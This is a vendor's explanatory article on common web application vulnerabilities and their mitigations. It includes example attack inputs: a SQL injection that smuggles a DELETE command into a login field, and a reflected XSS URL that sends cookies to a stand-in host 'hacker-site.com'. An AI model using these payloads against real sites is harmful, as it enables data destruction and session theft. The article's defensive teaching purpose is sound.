Web Applications: Common Vulnerabilities and Ways to Eliminate Them

Attackers never stop searching for vulnerabilities in websites and web applications that they can use to exploit corporate systems or get unauthorized access to sensitive data. This is why it’s vital to know common vulnerabilities of web applications and learn how to secure the weak spots of your sites and apps.

In this article, we explore the four most common web application security vulnerabilities: SQL injection, cross-site scripting (XSS), sensitive data exposure, and broken authentication. We then discuss ways to mitigate them and share our experience of how security audits can help detect vulnerabilities before attackers get to exploit them.

What should you know about web application security?

Neglecting your website’s data security can come at a cost. The consequences of poor web application security include:

• Data leaks and breaches
• Corruption of corporate systems
• Reputational damage
• Loss of users’ trust
• Financial losses

Various laws and regulations establish strict rules for storing data and managing access to it. Violating these rules may result in fines of hundreds of thousands of dollars — not to mention expenses for handling potential lawsuits from affected users.

British Airways was fined $26 million in 2020 for a data breach that happened two years earlier. The breach affected payments through the British Airways website and mobile app. By the way, this was one of the first major fines under the GDPR.

How can you prevent such unpleasant events from happening to you?

You can start by getting to know the most widespread vulnerabilities and securing your applications from them. To learn more about common web app security vulnerabilities, explore ratings from the Open Web Application Security Project (OWASP).

OWASP is an online community that creates articles, methodologies, tools, and technologies in the field of web application security and provides free access to them.

One of their projects, called the OWASP Top 10, is a rating of the most widespread web application vulnerabilities. It’s updated every three to four years and was last published in 2017.

The OWASP Top 10 includes descriptions of:

• Common vulnerabilities
• Dangers and consequences they bring
• Ways to mitigate them
• Vulnerability exploitation scenarios (for some security risks)

On top of the list of web application vulnerabilities and best practices, you can also check out OWASP Mobile Top 10 for ensuring protection of mobile apps.

Based on our experience, we’ve chosen the four most common web application vulnerabilities from the OWASP Top 10 rating. Let’s explore them and discuss ways to secure your systems against them.

SQL injection

SQL injection means injecting SQL code through unprotected HTML forms and API endpoints.

If an application has a SQL injection vulnerability, malicious actors can inject third-party code into the web application and run this malicious code. To execute a SQL injection attack, a hacker sends data that’s invalid for the target application to make this application perform actions it isn’t meant to.

A successful SQL injection may lead to:

• Full or partial removal of existing data
• Alteration of existing data (for example, to increase funds on a virtual account)
• Access to restricted data
• Remote execution of system commands to manipulate a server’s file system and launch applications

Let’s explore an example of a SQL injection on a simple authentication form:

Image 1. An authentication form

After the user clicks the Sign in button, the system will search for the user specified in the Username field. Let’s assume the system generates a SQL request to the database in this way:

var query = "SELECT Id, UserName FROM Users WHERE UserName = '" + Form['Username'] + "'";

Then the final request would look like this:

SELECT Id, UserName FROM Users WHERE UserName ='admin'

Say this particular system doesn’t filter input data and puts the entire Username field into the SQL request. Hackers can leverage this vulnerability and type something like this:

Image 2. Hacker’s attempt to inject malicious code into a system

Then the request will look like the following:

SELECT Id, UserName FROM Users WHERE UserName = ''; DELETE FROM Users WHERE '' = "'"

As you can see from the request, the system has fully placed the Username field value into the SQL request. Thus, the database will first execute the SELECT Id, UserName FROM Users WHERE UserName = ‘’ instructions, and after that it will execute DELETE FROM Users WHERE ‘’ = ‘’. As a result, all records in the Users table will be deleted.

How can you prevent SQL attacks?

Here are a few helpful practices to prevent SQL attacks:

1. Don’t concatenate parameters with SQL requests. Use parameters as they are.
2. Use out-of-the-box solutions like object-relational mapper (ORM) libraries that are already protected from common web attacks.
3. Limit the size of input parameters if you’re using the NVARCHAR data type. Even if a library has a flaw that allows for SQL injection, limiting the length of input parameters will prevent a hacker from sending a full request. This significantly minimizes the chance of an attacker injecting lots of malware code.

Cross-site scripting (XSS)

Cross-site scripting, or XSS, vulnerabilities allow attackers to execute malicious code on the client side (in the browser) and use the affected website to further spread this code.

Malicious actors can exploit XSS vulnerabilities to inject content and change the way it’s displayed. Thus, attackers make a victim’s browser execute malicious code during page loading.

XSS vulnerabilities can be exploited to:

• Steal authorization data from cookies and a browser’s local or session storage
• Steal confidential data from a web page
• Manipulate a page’s content and display fake data
• Implement different types of phishing
• Add keyloggers that send users’ keystrokes to an attacker

Let’s explore an example of an XSS attack on the same authentication form:

Image 3. An authentication form

Say the system doesn’t find the specified username and redirects the user to a page with the following message:

Image 4. System’s response when the specified username isn’t found

The HTML code of this page would look something like this:

<h1>User “{{user.UserName}}” is not found!</h1>

Now we can try to perform an XSS attack by inputting a fragment of HTML code from JavaScript in the Username field:

Image 5. An attempt to perform an XSS attack

After submitting the form, the user sees the following message:

Image 6. The malicious script is executed

This means that the JavaScript code with the script tag we typed into the Username field has been executed. Therefore, this website has an XSS vulnerability.

Now the code of the page the user is redirected to looks like this:

<h1>User “<script>alert(“Hacked!”)&lt/script>” is not found!&lt/h1>

It was originally published on /

This is an example of a reflected XSS attack. It’s relatively safe since this code is executed only on the attacker’s side. However, this vulnerability can be dangerous, since it enables hackers to build code into URL addresses.

Apart from reflected XSS, there are also stored XSS and document object model (DOM)-based XSS attacks. Let’s explore each of these three subtypes in detail.

Reflected XSS attack

A reflected XSS attack allows an attacker to execute code from unvalidated and unescaped data. During such attacks, an application executes code that comes from the server in response to the client’s request (e.g. a filled out form).

Here’s an example of a reflected XSS attack:

Assume that a website has a built-in search feature. After clicking the Search button, the site redirects the browser to the following address, with the content of the search request placed at the end:

http://site.com/search?query=XSS

If the website shows data from the address line on the page with search results, it means this site may have XSS vulnerabilities, since by doing so, it will also execute malicious code if it’s specified in the search query. To perform an XSS attack, a malicious actor can input a disguised hyperlink as a search request, leading to a malicious resource as the address.

For example, an attacker could try to steal cookies from a website using the following code:

If the website shows data from the address line on the page with search results, it means this site may have XSS vulnerabilities, since by doing so, it will also execute malicious code if it’s specified in the search query. To perform an XSS attack, a malicious actor can input a disguised hyperlink as a search request, leading to a malicious resource as the address.

For example, an attacker could try to steal cookies from a website using the following code:

http:⁄⁄site.com/search?query=<script>location.href=”hacker-site.com/” + document.cookie</script>

Cookies, in turn, store authentication data that potentially can be used for accessing the accounts of compromised users.

Stored XSS attacks

These attacks work similarly to reflected XSS attacks. The key difference is that data with malicious code added by an attacker is already saved on the server side of the application. This code gets executed when outputting the saved data upon request from other users.

DOM-based XSS attacks

This type of attack allows a hacker to manipulate web page content by exploiting stored and reflected XSS vulnerabilities. In particular, DOM-based XSS can be used to embed a login form into a website and use it to send data to attackers.

How can you prevent XSS attacks?

Here are a few practices that will help you protect your web application against XSS attacks:

1. Use reliable frameworks, libraries, and rendering engines to display pages. Apply tools for data shielding or clean tags for code execution.
2. Validate or clean data forms and data transferred to a server using APIs. You can create a blacklist of tags often used for adding malicious code to filter them out.
3. Shield data forms when transferring them to a server.

Now, let’s move to the second major web application security issue on our list: sensitive data exposure.

Sensitive data exposure

• Credit card data
• Social security numbers
• Health records

Before developing a web application that stores or processes sensitive data, you should take care of how you perform these operations between system modules. Laws, regulations, and standards often introduce strict requirements for the handling of sensitive data. For example, PCI DSS forbids storing credit card data unencrypted. HIPAA requirements specify strict rules for securing protected health information.

In general, data in web applications can be separated into two classes:

• Stored data — All information stored on the server
• Transmitted data — Information transferred from a browser to a server, or vice versa (could also be data transferred between different subsystems)

It’s best to secure stored data with encryption or obfuscation. Modern database management systems support such security measures. They also allow for applying encryption or obfuscation only to data that requires enhanced protection.

To secure transmitted data between a browser and a server, the best option is to use an SSL certificate configured for a website’s domain. This ensures data encryption and makes it impossible for attackers to capture data.

Broken authentication

Broken authentication is a vulnerability that allows an attacker to gain access to a system’s account or a system in general.

There are three main scenarios for exploiting this vulnerability:

Credential stuffing

The majority of users reuse the same passwords for different sites. If attackers have previously acquired a set of credentials from one resource, they can try applying it to gain access to corporate accounts on different resources.This type of attack is called credential stuffing, and the process is usually automated.

Possible solutions to mitigate credential stuffing attacks are:

• Multi-factor authentication — Make sure that each time users access a system, they enter a confirmation code sent to a validated mobile device.
• Blacklist of insecure passwords — List the most common passwords that can easily be guessed (like Qwerty123) and forbid users to set them for their accounts.
• Password history — Store previous passwords and make your system forbid users from repeating a password for some time.
• Captcha — Add a captcha to the login form to keep automated applications and bots from getting access to a website’s account. Attackers often use apps like Selenium that imitate human activity in browsers and attempt to log in to a website.
• Location / IP address / browser check — If a user enters a system from an unusual location or using a different device, a system should verify this user with push notifications, email, or some other method.

Session hijacking

In this scenario, attackers steal the session identifier (ID) that’s stored in cookies or local browser storage. Using this ID, they can access a user’s account. Session hijacking is often used together with XSS attacks.

This is how session hijacking usually works:

1. An attacker injects JavaScript code into the page of a site with an XSS vulnerability.
2. A user loads the hacked web page.
3. The user’s browser executes malicious code that takes the session ID and sends it to the attacker.
4. The attacker uses the session ID to gain access to the system under the user’s name.

These are three ways to effectively prevent session hijacking:

1. Detect and eliminate XSS vulnerabilities.
2. Limit the session duration so that even if an ID is stolen, the session will expire before an attacker can abuse it.
3. Bind a session ID to an IP address used to access your system. If the same ID is used to request access from another address, the system must deny this request.

Exploiting weaknesses in custom authentication systems

When developing an authentication system, you can choose between using standard components or creating custom ones. However, custom authentication components can be implemented incorrectly or have unobvious vulnerabilities. If attackers compromise custom authentication tokens or exploit implementation flaws, they’ll be able to steal a user’s identity.

Reliable standard components, on the other hand, offer several important benefits:

• Correct password storage
• Correct password validation
• Authentication before each request
• Logging out fully expires a session

Note: If a standard component of an authorization system becomes vulnerable, attackers can hack websites that use that component. Thus, you should only use well-known and trusted libraries and solutions like Azure Active Directory and Amazon Cognito whose cybersecurity mechanisms are regularly updated.

Since correct password storage is an essential element of a secure web application, let’s explore how exactly you can store credentials securely.

How can you store passwords securely?

The main rule is to not store passwords as plain text.

The best way to store passwords securely is to encrypt or hash them. Let’s explore the differences between these two methods:

Encryption means turning content into a format that’s impossible to read without a key. You can encrypt passwords and use one key for all users’ credentials or use an individual key for each user’s credentials.

However, encryption has its risks too:

1. If passwords and keys are stored in the same database or on the same server, a hacker is likely to gain access to both of them. And by knowing the encryption method, they can gain readable passwords.
2. If there’s one key for all users’ passwords, it will be easy to identify users that use the same passwords, since these credentials will look identical even in an encrypted format. This could be a sign of using a widespread password like qwerty that’s relatively easy to guess.

Hashing is the process of turning content into an unreadable format that’s impossible to convert back to a readable format. Its biggest advantage is that hashing makes it impossible to get a password from the hash sum. The only thing you need to avoid is using unreliable hashing methods like MD5.

However, hashing has the same downside as encryption: identical passwords will have the same hashes.

How can this be resolved? You can generate a random sequence of bytes for each user and add it to a password hash sum, resulting in different hash sums for identical passwords.

Detecting web application vulnerabilities with security audits

A great practice to identify security web app vulnerabilities and flaws is to perform a cybersecurity audit once in a while. With an audit, you’ll know where all the weak spots are in your web app so you can fix them.

Let’s explore a real-life example from our experience of how a security audit helped to improve a solution’s security.

We recently were working on a SaaS product that includes a web portal and two mobile apps. All these components were created by another development team that has been working on this project for five years.

Before entering a new market, the product’s stakeholders decided to conduct a security audit for both the web portal and mobile apps.

We analyzed these components for the vulnerabilities mentioned in this article. Our audit showed some significant security flaws, and the customer hired our team to fix them.

The results of our security audit helped us identify weak spots in the solution’s security that required improvements. During our work on the project, we performed a range of upgrades:

• Modernized the authentication system
• Implemented password hashing mechanisms
• Developed a single authentication service for the web portal and mobile apps that includes all necessary features for protecting the system from the most widespread attacks
• Implemented mechanisms to obfuscate personally identifiable information at all database levels
• Eliminated SQL injections using ORM

It’s always important to keep your eyes on best practices for web application security. Attackers will always strive to find new ways of compromising websites, while continuous updates to web applications may create new vulnerabilities.

Conclusion

Attackers keep searching for new ways to gain unauthorized access to web applications. Neglecting your web security may lead to severe consequences, including financial and reputational losses.

We hope this article has helped you better understand the security risks of web applications and ways to mitigate them. Knowing what types of vulnerabilities are most commonly exploited will give you a clue about what to secure first. And understanding how to mitigate vulnerabilities will give you an advantage in securing your web application.

Cybersecurity is one of our areas of expertise at Apriorit. We offer high-quality custom web application development services and security audits. Contact us to check your web application’s security or to create a reliable and safe solution from scratch.